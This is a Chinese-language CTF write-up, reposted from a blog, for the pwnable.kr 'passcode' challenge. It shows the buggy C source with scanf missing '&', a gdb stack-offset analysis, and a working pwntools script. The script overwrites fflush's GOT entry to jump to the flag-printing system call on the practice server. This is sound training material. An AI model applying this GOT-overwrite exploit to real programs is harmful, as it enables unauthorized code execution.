ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

pwnable-passcode

2022-01-30 10:00:16  阅读:202  来源: 互联网

标签:name passcode1 pwnable printf passcode login fflush


文章目录

概述

pwnable是一个经典的CTF中PWN方向练习的专业网站,本文记录的题目是passcode,主要考察的是函数scanf()的知识点。

在这里插入图片描述

题目

题目描述

题目提示 C代码已经编译完成且没有错误,但有告警信息,题目连接信息为ssh passcode@pwnable.kr -p2222 (pw:guest)

连接信息

通过ssh连接目标
在这里插入图片描述

基本信息获取

使用file查看基本信息
在这里插入图片描述

直接运行程序
在这里插入图片描述

查看程序加固措施

checksec passcode

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

查看源代码

#include <stdio.h>
#include <stdlib.h>

void login(){
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
        }
        else{
                printf("Login Failed!\n");
        exit(0);
        }
}

void welcome(){
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

int main(){
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}

源代码分析

程序本意是执行 welcome()和login()函数,在login()中进行passcode1和passcode2的判断,如果符合要求,打印flag。

但是scanf()中少了&,造成的结果是把passcode变量当做指针,因此在编译时产生了告警。

由于少了取地址符号&,可以以passcode值寻址到的内存地址进行覆盖。

gdb分析

查看主函数
在这里插入图片描述
查看welcome(),发现name参数地址ebp - 0x70
在这里插入图片描述

查看login(),发现passcode1在ebp-0x10,passcode2在ebp-0xc
在这里插入图片描述

主函数main()对welcome()和login()进行了连续调用,这就隐含了它们的ebp是相同的。通过计算,name(ebp - 0x70)和passcode1(ebp-0x10)相差0x60(即96个)字节,所以name(长度100个字节)最后4个字节正好可以覆盖到passcode1,但无法覆盖passcode2。

因此要能查看flag,只能跳过if语句的判定,直接执行system()函数。

可以看到在login()中,执行scanf()后执行fflush()函数,可以通过name变量覆盖,将passcode1的值改为fflush()函数的地址,在接下来执行login()时,fflush()函数的地址的值,通过scanf()被赋值为system地址,实行执行查看flag的命令。

找到fflush()的got表项地址
在这里插入图片描述
找到system()地址
在这里插入图片描述

利用代码

from pwn import *
import pretty_errors

context.log_level = 'info'

session = ssh(host='pwnable.kr', user='passcode', password='guest', port=2222)

offset = 96
fflush_addr = 0x0804a004
system_addr = 0x080485e3
payload = b'A' * offset + p32(fflush_addr)

p = session.process('./passcode')
p.sendlineafter('enter you name :', payload)
p.sendlineafter('enter passcode1 :', str(system_addr))
result = p.recvall()
success(result.decode())
p.close()

标签:name,passcode1,pwnable,printf,passcode,login,fflush
来源: https://blog.csdn.net/galaxy3000/article/details/122750215

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有